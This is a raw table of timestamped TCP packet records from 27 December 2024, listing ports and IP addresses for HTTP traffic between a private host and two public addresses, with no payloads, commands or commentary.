Dec 27, 2024 09:00:27.563142061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.563174009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.563709974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.563767910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.563777924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.563793898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.563894987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.563920975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.563935995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.563951969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.563967943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.564076900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.564076900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.564080954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.564096928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.564479113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.595421076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.595469952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.595487118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.595542908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.595561981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.595577955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.595593929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.595609903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.595623016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.595680952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.595704079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.595727921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.595762968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.595817089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.595834017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.595884085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.595911026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.595987082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.596018076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.596034050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.596050024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.596065998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.596106052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.596132994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.596153975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.596204042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.596220970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.596251011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.596707106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.596757889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.596775055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.596812010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.596904993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.596926928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.596942902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.596952915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.596961021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.596993923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.597018003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.597073078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.642049074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.758682013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.758728027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.758747101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.758785009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.758831024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.758847952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.758865118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.758882999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.758882999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.758909941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.759135962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.759196997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.759213924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.759217024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.759299994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.759360075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.759376049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.759392023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.759408951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.759424925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.759483099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.759574890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.759707928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.759747028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.759776115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.759840965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.759856939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.759874105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.759939909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.759939909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.759978056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.759993076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.760015965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.760034084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.760070086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.760104895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.760121107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.760135889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.760189056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.760639906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.760665894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.760752916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.760765076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.760767937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.760786057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.760843992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.760930061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.760946035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.760967016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.761018991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.761018991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.761043072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.761059046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.761125088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.761542082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.761603117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.761619091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.761694908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.761710882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.761746883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.761755943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.761764050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.761779070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.761827946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.761935949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.761951923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.761969090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.762027979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.762027979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.762490034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.762552023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.762567997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.762638092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.762667894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.762682915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.762700081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.762716055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.762782097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.762782097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.762917042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.762933016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.762949944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.762978077 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.762995005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.763453960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.763479948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.763497114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.763550997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.763642073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.763659000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.763676882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.763695002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.763698101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.763725996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.763791084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.763806105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.763823032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.763854027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.763910055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.764367104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.764399052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.764416933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.764504910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.764522076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.764529943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.764547110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.764563084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.764595032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.764609098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.764739990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.764766932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.764790058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.764802933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.764854908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.765295029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.765357018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.765374899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.765429020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.765484095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.765499115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.765513897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.765614986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.765924931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.787735939 CET	80	49746	185.215.113.206	192.168.2.4
Dec 27, 2024 09:00:27.787816048 CET	49746	80	192.168.2.4	185.215.113.206
Dec 27, 2024 09:00:27.790611982 CET	49746	80	192.168.2.4	185.215.113.206
Dec 27, 2024 09:00:27.796567917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.796621084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.796647072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.796715975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.796730995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.796760082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.796786070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.796797037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.796802998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.796866894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.796895027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.796957016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.796962976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.796979904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.797097921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.797152996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.797168970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.797177076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.797231913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.797306061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.797322989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.797338963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.797355890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.797393084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.797393084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.797457933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.797473907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.797488928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.797517061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.797545910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.798060894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.798086882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.798103094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.798222065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.798237085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.798253059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.798268080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.798285007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.798355103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.798361063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.798362017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.798398018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.910085917 CET	80	49746	185.215.113.206	192.168.2.4
Dec 27, 2024 09:00:27.959950924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960009098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960021019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960071087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.960124969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960136890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960148096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960161924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960182905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.960201025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.960406065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960467100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960470915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.960479975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960597992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.960612059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960623026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960634947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960642099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960695982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.960850000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960921049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960932016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.960988045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.961018085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.961029053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.961042881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.961080074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.961102009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.961131096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.961472988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.961524963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.961536884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.961600065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.961673021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.961684942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.961697102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.961709023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.961767912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.961767912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.961802006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.961813927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.961824894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.961858988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.962420940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.962464094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.962477922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.962552071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.962552071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.962594032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.962605000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.962616920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.962634087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.962729931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.962729931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.962754011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.962771893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.962785006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.962833881 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.963356018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.963387966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.963401079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.963483095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.963483095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.963507891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.963526964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.963537931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.963550091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.963593960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.963593960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.963731050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.963742971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.963753939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.963790894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.964293003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.964329958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.964342117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.964345932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.964487076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.964498997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.964518070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.964529991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.964539051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.964613914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.964613914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.964632034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.964644909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.964658022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.964689016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.965213060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.965270042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.965281963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.965346098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.965384960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.965395927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.965405941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.965419054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.965429068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.965472937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.965548992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.965569019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.965584040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.965640068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.966181993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.966201067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.966212988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.966222048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.966244936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.966371059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.966382980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.966406107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.966418982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:27.966442108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:27.966455936 CET	49743	80	192.168.2.4	185.215.113.16
